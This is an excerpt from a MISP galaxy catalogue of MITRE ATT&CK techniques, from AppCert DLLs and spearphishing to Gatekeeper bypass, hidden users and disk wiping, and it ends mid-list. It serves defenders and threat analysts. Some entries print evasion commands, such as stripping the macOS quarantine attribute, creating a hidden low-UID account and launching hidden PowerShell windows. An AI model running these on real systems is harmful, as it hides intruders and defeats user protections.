Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.

The tag is: *misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182"*

Table 8940. Table References

Links
https://attack.mitre.org/techniques/T1182
https://forum.sysinternals.com/appcertdlls_topic12546.html
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Spearphishing Link - T1192

Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192"*

Table 8941. Table References

Links
https://attack.mitre.org/techniques/T1192
https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
https://capec.mitre.org/data/definitions/163.html

Shared Modules - T1129

Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).

Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that

perform various functions such as managing C2 network communications or execution of specific actions on objective.

The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)

The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)

The tag is: *misp-galaxy:mitre-attack-pattern="Shared Modules - T1129"*

Table 8942. Table References

Links
https://attack.mitre.org/techniques/T1129
https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html
https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library
https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html
https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/

Obfuscate infrastructure - T1331

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1331).

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331"*

Table 8943. Table References

Links
https://attack.mitre.org/techniques/T1331

Hidden Window - T1143

Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an

operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.

Windows

There are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>. (Citation: PowerShell About 2019)

Mac

The configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Window - T1143"*

Table 8944. Table References

Links
https://attack.mitre.org/techniques/T1143
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1

Screen Capture - T1513

Adversaries may use screen capture to collect additional information about a target device, such as applications running in the foreground, user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1513"*

Table 8945. Table References

Links
https://attack.mitre.org/techniques/T1513
https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/
https://developer.android.com/reference/android/media/projection/MediaProjectionManager
https://developer.android.com/studio/command-line/adb
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-40.html
https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html
https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf

Create Account - T1136

Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Create Account - T1136"*

Table 8946. Table References

Links
https://attack.mitre.org/techniques/T1136
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us

Process Injection - T1631

Adversaries may inject code into processes in order to evade process-based defenses or even elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

Both Android and iOS have no legitimate way to achieve process injection. The only way this is possible is by abusing existing root access or exploiting a vulnerability.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Injection - T1631"*

Table 8947. Table References

Links
https://attack.mitre.org/techniques/T1631

Application Shimming - T1138

The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- <code>%WINDIR%\AppPatch\sysmain.sdb</code>
- <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>

Custom databases are stored in:

- <code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code>
- <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Shimming - T1138"*

Table 8948. Table References

Links
https://attack.mitre.org/techniques/T1138
https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf

https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Authentication attempt - T1381

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)

The tag is: *misp-galaxy:mitre-attack-pattern="Authentication attempt - T1381"*

Table 8949. Table References

Links
https://attack.mitre.org/techniques/T1381

Spearphishing Attachment - T1193

Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193"*

Table 8950. Table References

Links
https://attack.mitre.org/techniques/T1193
https://capec.mitre.org/data/definitions/163.html

Bash History - T1139

Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user's last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)

The tag is: *misp-galaxy:mitre-attack-pattern="Bash History - T1139"*

Table 8951. Table References

Links
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
https://attack.mitre.org/techniques/T1139

Gatekeeper Bypass - T1144

In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.

Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won't set this flag. Additionally, other utilities or events like drive-by downloads don't necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)

In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS's gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)

The tag is: *misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144"*

Table 8952. Table References

Links
https://attack.mitre.org/techniques/T1144
https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/

https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Clipboard Data - T1414

Adversaries may abuse clipboard manager APIs to obtain sensitive information copied to the device clipboard. For example, passwords being copied and pasted from a password manager application could be captured by a malicious application installed on the device.(Citation: Fahl-Clipboard)

On Android, applications can use the `ClipboardManager.OnPrimaryClipChangedListener()` API to register as a listener and monitor the clipboard for changes. However, starting in Android 10, this can only be used if the application is in the foreground, or is set as the device's default input method editor (IME).(Citation: Github Capture Clipboard 2019)(Citation: Android 10 Privacy Changes)

On iOS, this can be accomplished by accessing the `UIPasteboard.general.string` field. However, starting in iOS 14, upon accessing the clipboard, the user will be shown a system notification if the accessed text originated in a different application. For example, if the user copies the text of an iMessage from the Messages application, the notification will read "application_name has pasted from Messages" when the text was pasted in a different application.(Citation: UIPPasteboard)

The tag is: *misp-galaxy:mitre-attack-pattern="Clipboard Data - T1414"*

Table 8953. Table References

Links
https://attack.mitre.org/techniques/T1414
https://developer.android.com/about/versions/10/privacy/changes#clipboard-data
https://developer.apple.com/documentation/uikit/uipasteboard
https://github.com/grepx/android-clipboard-security
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html
https://saschafahl.de/static/paper/pwmanagers2013.pdf

Foreground Persistence - T1541

Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android's `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-

ForegroundServices)

Malicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device's sensors, assuming permission has been previously granted.(Citation: BlackHat Sutter Android Foreground 2019)

Malicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)

The tag is: *misp-galaxy:mitre-attack-pattern="Foreground Persistence - T1541"*

Table 8954. Table References

Links
https://attack.mitre.org/techniques/T1541
https://blog.trendmicro.com/trendlabs-security-intelligence/fake-photo-beautification-apps-on-google-play-can-read-sms-verification-code-to-trigger-wireless-application-protocol-wap-carrier-billing/
https://developer.android.com/guide/components/services.html#Foreground
https://developer.android.com/guide/topics/sensors/sensors_overview#sensors-practices
https://i.blackhat.com/eu-19/Thursday/eu-19-Sutter-Simple-Spyware-Androids-Invisible-Foreground-Services-And-How-To-Abuse-Them.pdf
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html

Private Keys - T1145

Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)

Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows.

Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)

The tag is: *misp-galaxy:mitre-attack-pattern="Private Keys - T1145"*

Table 8955. Table References

Links
https://attack.mitre.org/techniques/T1145
https://en.wikipedia.org/wiki/Public-key_cryptography
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf
https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/

Lockscreen Bypass - T1461

An adversary with physical access to a mobile device may seek to bypass the device's lockscreen. Several methods exist to accomplish this, including:

- Biometric spoofing: If biometric authentication is used, an adversary could attempt to spoof a mobile device's biometric authentication mechanism. Both iOS and Android partly mitigate this attack by requiring the device's passcode rather than biometrics to unlock the device after every device restart, and after a set or random amount of time.(Citation: SRLabs-Fingerprint)(Citation: TheSun-FaceID)
- Unlock code bypass: An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing ("shoulder surfing") the device owner's use of the lockscreen passcode. Mobile OS vendors partly mitigate this by implementing incremental backoff timers after a set number of failed unlock attempts, as well as a configurable full device wipe after several failed unlock attempts.
- Vulnerability exploit: Techniques have been periodically demonstrated that exploit mobile devices to bypass the lockscreen. The vulnerabilities are generally patched by the device or OS vendor once disclosed.(Citation: Wired-AndroidBypass)(Citation: Kaspersky-iOSBypass)

The tag is: *misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461"*

Table 8956. Table References

Links
https://attack.mitre.org/techniques/T1461
https://srlabs.de/bites/spoofing-fingerprints/
https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/
https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/
https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/

Data Manipulation - T1641

Adversaries may insert, delete, or alter data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application, process, and the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Manipulation - T1641"*

Table 8957. Table References

Links
https://attack.mitre.org/techniques/T1641

URI Hijacking - T1416

Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.

Applications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If a malicious application were to register for a URI that was already in use by a genuine application, the malicious application may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the malicious application to gain access to resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)

The tag is: *misp-galaxy:mitre-attack-pattern="URI Hijacking - T1416"*

Table 8958. Table References

Links
https://attack.mitre.org/techniques/T1416
https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/
https://tools.ietf.org/html/rfc7636

Input Capture - T1417

Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal device usage, users often provide credentials to various locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Keylogging](https://attack.mitre.org/techniques/T1417/001)) or rely on deceiving the user into providing input into what they believe to be a genuine application prompt (e.g. [GUI Input Capture](https://attack.mitre.org/techniques/T1417/002)).

The tag is: *misp-galaxy:mitre-attack-pattern="Input Capture - T1417"*

Table 8959. Table References

Links
https://attack.mitre.org/techniques/T1417
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-13.html

Hidden Users - T1147

Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Users - T1147"*

Table 8960. Table References

Links
https://attack.mitre.org/techniques/T1147
https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf

Software Discovery - T1418

Adversaries may attempt to get a listing of applications that are installed on a device. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1418) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempts specific actions.

Adversaries may attempt to enumerate applications for a variety of reasons, such as figuring out what security measures are present or to identify the presence of target applications.

The tag is: *misp-galaxy:mitre-attack-pattern="Software Discovery - T1418"*

Table 8961. Table References

Links
https://attack.mitre.org/techniques/T1418
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html

SSH Hijacking - T1184

Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)

[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: *misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184"*

Table 8962. Table References

Links
https://attack.mitre.org/techniques/T1184
https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf
https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking
https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/

Web Service - T1481

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed).

The tag is: *misp-galaxy:mitre-attack-pattern="Web Service - T1481"*

Table 8963. Table References

Links

https://attack.mitre.org/techniques/T1481

LC_MAIN Hijacking - T1149

This technique has been deprecated and should no longer be used.

As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary's entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn't know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.

The tag is: *misp-galaxy:mitre-attack-pattern="LC_MAIN Hijacking - T1149"*

Table 8964. Table References

Links
https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf
https://attack.mitre.org/techniques/T1149
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Disk Wipe - T1561

Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)

On network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)

The tag is: *misp-galaxy:mitre-attack-pattern="Disk Wipe - T1561"*

Table 8965. Table References

Links
https://attack.mitre.org/techniques/T1561
https://docs.microsoft.com/sysinternals/downloads/sysmon
https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463

Input Injection - T1516

A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs.

[Input Injection](https://attack.mitre.org/techniques/T1516) can be achieved using any of the following methods:

- Mimicking user clicks on the screen, for example to steal money from a user's PayPal account.(Citation: android-trojan-steals-paypal-2fa)
- Injecting global actions, such as `GLOBAL_ACTION_BACK` (programatically mimicking a physical back button press), to trigger actions on behalf of the user.(Citation: Talos Gustuff Apr 2019)
- Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)

The tag is: *misp-galaxy:mitre-attack-pattern="Input Injection - T1516"*

Table 8966. Table References

Links
https://attack.mitre.org/techniques/T1516
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html
https://help.bitwarden.com/article/auto-fill-android/
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/

Startup Items - T1165

Per Apple's documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn't guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.

The tag is: *misp-galaxy:mitre-attack-pattern="Startup Items - T1165"*

Table 8967. Table References

Links
https://attack.mitre.org/techniques/T1165
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Access Notifications - T1517

Adversaries may collect data within notifications sent by the operating system or other applications. Notifications may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. In the case of Credential Access, adversaries may attempt to intercept one-time code sent to the device. Adversaries can also dismiss notifications to prevent the user from noticing that the notification has arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)

The tag is: *misp-galaxy:mitre-attack-pattern="Access Notifications - T1517"*

Table 8968. Table References

Links
https://attack.mitre.org/techniques/T1517
https://www.welivesecurity.com/2019/06/17/malware-google-permissions-2fa-bypass/

Dylib Hijacking - T1157

macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.

A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)

If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.

The tag is: *misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157"*

Table 8969. Table References

Links
https://attack.mitre.org/techniques/T1157
https://capec.mitre.org/data/definitions/471.html
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Software Discovery - T1518

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Such software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally.

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

The tag is: *misp-galaxy:mitre-attack-pattern="Software Discovery - T1518"*

Table 8970. Table References

Links
https://attack.mitre.org/techniques/T1518

Launch Agent - T1159

